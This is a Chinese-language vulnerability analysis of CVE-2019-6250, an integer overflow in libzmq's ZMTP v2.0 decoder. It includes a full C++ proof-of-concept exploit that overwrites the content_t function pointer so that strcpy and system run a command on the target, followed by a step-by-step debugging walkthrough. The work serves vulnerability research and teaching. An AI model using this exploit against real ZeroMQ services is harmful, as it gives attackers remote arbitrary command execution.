概述

ZMQ(Zero Message Queue)是一种基于消息队列得多线程网络库,C++编写,可以使得Socket编程更加简单高效。

该编号为CVE-2019-6250的远程执行漏洞,主要出现在ZMQ的核心引擎libzmq(4.2.x以及4.3.1之后的4.3.x)定义的ZMTP v2.0协议中。

环境搭建

环境

先搭建个测试poc和后面调试漏洞的环境,这里用到了:

  • Ubuntu 20.4.2
  • libzmq 4.2.x以及4.3.1之后的4.3.x这几个版本都可以触发漏洞,下载后切换版本安装即可测试 项目地址
  • cppzmq 用来调用libzmq执行代码,测试poc 项目地址
  • poc地址在这

poc测试

将libzmp和cppzmq都安装好,其中libzmp是configure来安装的,cppzmq是cmake来安装的,安装过程简单。

都安装完后,cppzmq下有个demo目录,下面也 cmake ./编译,完成后即可在demo这里堆main.cpp修改来进行漏洞测试,main.cpp代码如下:

1
2
3
4
5
6
7
#include <zmq.hpp>

int main(int argc, char **argv)
{
zmq::context_t contex;
return 0;
}

主要是引入了zmq.hpp头文件,这个决定了poc是否能测试成功,输出个hello world测试一下,成功说明环境配置都ok了:

去拿到poc,为了省事,我这里也贴一份现成的exp出来:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
#include <netinet/in.h>
#include <arpa/inet.h>
#include <zmq.hpp>
#include <string>
#include <iostream>
#include <unistd.h>
#include <thread>
#include <mutex>

class Thread {
public:
Thread() : the_thread(&Thread::ThreadMain, this)
{ }
~Thread(){
}
private:
std::thread the_thread;
void ThreadMain() {
zmq::context_t context (1);
zmq::socket_t socket (context, ZMQ_REP);
socket.bind ("tcp://*:6666");

while (true) {
zmq::message_t request;

// Wait for next request from client
try {
socket.recv (&request);
} catch ( ... ) { }
}
}
};

static void callRemoteFunction(const uint64_t arg1Addr, const uint64_t arg2Addr, const uint64_t funcAddr)
{
int s;
struct sockaddr_in remote_addr = {};
if ((s = socket(AF_INET, SOCK_STREAM, 0)) == -1)
{
abort();
}
remote_addr.sin_family = AF_INET;
remote_addr.sin_port = htons(6666);
inet_pton(AF_INET, "127.0.0.1", &remote_addr.sin_addr);

if (connect(s, (struct sockaddr *)&remote_addr, sizeof(struct sockaddr)) == -1)
{
abort();
}

const uint8_t greeting[] = {
0xFF, /* Indicates 'versioned' in zmq::stream_engine_t::receive_greeting */
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, /* Unused */
0x01, /* Indicates 'versioned' in zmq::stream_engine_t::receive_greeting */
0x01, /* Selects ZMTP_2_0 in zmq::stream_engine_t::select_handshake_fun */
0x00, /* Unused */
};
send(s, greeting, sizeof(greeting), 0);

const uint8_t v2msg[] = {
0x02, /* v2_decoder_t::eight_byte_size_ready */
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, /* msg_size */
};
send(s, v2msg, sizeof(v2msg), 0);

/* Write UNTIL the location of zmq::msg_t::content_t */
size_t plsize = 8183;
uint8_t* pl = (uint8_t*)calloc(1, plsize);
send(s, pl, plsize, 0);
free(pl);

uint8_t content_t_replacement[] = {
/* void* data */
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,

/* size_t size */
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,

/* msg_free_fn *ffn */
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,

/* void* hint */
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
};

/* Assumes same endianness as target */
memcpy(content_t_replacement + 0, &arg1Addr, sizeof(arg1Addr));
memcpy(content_t_replacement + 16, &funcAddr, sizeof(funcAddr));
memcpy(content_t_replacement + 24, &arg2Addr, sizeof(arg2Addr));

/* Overwrite zmq::msg_t::content_t */
send(s, content_t_replacement, sizeof(content_t_replacement), 0);

close(s);
sleep(1);
}

char destbuffer[100];
char srcbuffer[100] = "ping google.com";

int main(void)
{
Thread* rt = new Thread();
sleep(1);

callRemoteFunction((uint64_t)destbuffer, (uint64_t)srcbuffer, (uint64_t)strcpy);

callRemoteFunction((uint64_t)destbuffer, 0, (uint64_t)system);

return 0;
}

修改main.cpp内容,然后编译执行,成功复现:

漏洞成因

通过对cve作者提交的说明来看,漏洞主要是在 src/v2_decoder.cpp zmq::v2_decoder_t::size_ready()read_pos_ + msg_size_表达式 未做过滤导致一个整型溢出漏洞,使得可以通过设置一个较大的msg_zize来让判断条件恒不成立,造成第二次读取向小缓冲区写入大数据进而溢出,具体溢出位置如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
if (unlikely (!_zero_copy
|| ((unsigned char *) read_pos_ + msg_size_ //这里发生整数溢出
> (allocator.data () + allocator.size ())))) {
rc = _in_progress.init_size (static_cast<size_t> (msg_size_));
} else { //溢出后进入该流程
rc =
_in_progress.init (const_cast<unsigned char *> (read_pos_),
static_cast<size_t> (msg_size_),
shared_message_memory_allocator::call_dec_ref,
allocator.buffer (), allocator.provide_content ());
if (_in_progress.is_zcmsg ()) {
allocator.advance_content ();
allocator.inc_ref ();
}
}

整个通信流程

该版本ZMQ中使用到了ZMTP v2.0版本作为消息传递的传输层协议,客户端和服务端的通信主要以如下步骤展开:

  1. clinet和server首次进行协商,clinet和server建立TCP链接后,首先是client发送greeting报文进行协商,其协商内容主要是ZMTP的版本信息, 抓包分析,三次握手之后client直接发送greeting报文:

1
对应代码如下:
1
2
3
4
5
6
7
8
const uint8_t greeting[] = {
0xFF, /* 在zmq::stream_engine_t::receive_greeting函数中标识该报文为非1.0版本 */
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, /* Unused */
0x01, /* zmq::stream_engine_t::receive_greeting函数中标识该报文为非1.0版本 */
0x01, /* 在zmq::stream_engine_t::select_handshake_fun函数中选择ZMTP 2.0版本 */
0x00, /* Unused */
};
send(s, greeting, sizeof(greeting), 0);
  1. server收到greeting报文后,会进行初始化操作,通过调试发现首先进入src/stream_engine.cpp中的zmq::stream_engine_t::in_event()方法中,调用栈大致如下:

1
在调用tcp_read()读取client消息前,会创建一个缓冲区来存储消息,调用src/raw_decoder.cpp中的get_buffer()方法来申请缓冲区,其内部实现如下,主要使用src/decoder_allocators.cpp中的allocate()方法:
1
2
3
4
5
void zmq::raw_decoder_t::get_buffer (unsigned char **data_, size_t *size_)
{
*data_ = _allocator.allocate ();
*size_ = _allocator.size ();
}
1
zmq::shared_message_memory_allocator::allocate()中调用std::malloc()创建一块用于存储稍后所有通信消息的缓冲区,缓冲区大小为0x2008(

_max_size + sizeof (zmq::atomic_counter_t)=0x2000+0x8),申请成功后在_buf前8个字节存放0x00000001,所以 _buf起始位置要从 _buf+0x8开始算,我调试时 _buf为0x7fffe800bb30,:

之后存放一个 content_t结构体在 _buf之后,该结构体用于client端close()关闭连接后来进行server端析构处理,其对于后续缓冲区溢出利用有着关键性的作用:

1
2
3
4
5
6
7
8
struct content_t
{
void *data;
size_t size;
msg_free_fn *ffn;
void *hint;
zmq::atomic_counter_t refcnt;
};

  1. client接着发送 msg_size报文给server。报文格式 0x02+msg_size,用来标识接下来server等待接收消息的大小,server在zmq::v2_decoder_t::size_ready方法中处理 msg_size,正常流程是如果我们设置的 msg_size值大于初始化空间的0x2000则重新分配缓冲区,但由于存在整数溢出漏洞,使得可以绕过缓冲区大小校验进入else流程,else中init()函数直接使用初始化的缓冲区读取client申请的非常大的如0xffffffffffffffff大小的数据,进而导致后续通信过程中产生缓冲区溢出:

1
依据如上理论,client端设置

msg_size=0xffffffffffffffff然后发送:

1
2
3
4
5
const uint8_t v2msg[] = {
0x02, /* 标识程序进入eight_byte_size_ready状态 */
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, /* msg_size */
};
send(s, v2msg, sizeof(v2msg), 0);
1
进行调试发现确实进入了else流程,且read_pos位置为初始化的缓冲区

_buf+0x8处,msg_size_=0xffffffffffffffff:

  1. 依据第三步理论,client就可以继续发送大小为0x2008-0x8-0x9=0x1FF7=8183字节的数据来填充整个缓冲区,也就是poc中的client端第二次send()发送的内容,这里稍微修改一下,把pc中的pl指向空间用’a’填充,填充后进行通信,server端整个缓冲区的内容如下:

  1. 最后就是对缓冲区后面的content_t结构体进行溢出覆盖,该结构体中几个字段解释如下:
  • data:函数ffn的第一个参数

  • size:未使用

  • ffn:ffh函数指针地址

  • hint:函数ffn第二个参数

    该处关键点在于client端在执行close()关闭连接时,会进入server端的zmq::msg_t::close ()方法,该方法内部会调用 content_t->ffn函数指针来进行析构:

1
所以我们只需要溢出覆盖此结构体中的data、ffn、hint三个字段,即可达到任意函数执行的目的。比如poc中的通过两次覆盖来达到使用system()执行任意命令。

漏洞利用

本地利用没什么好说的,远程利用可以对前面那0x1FF7大小的缓冲区进行利用执行到任意shellcode,这里不再详述,说太多容易刑,有兴趣可以自己研究。

参考:

https://www.freebuf.com/vuls/262410.html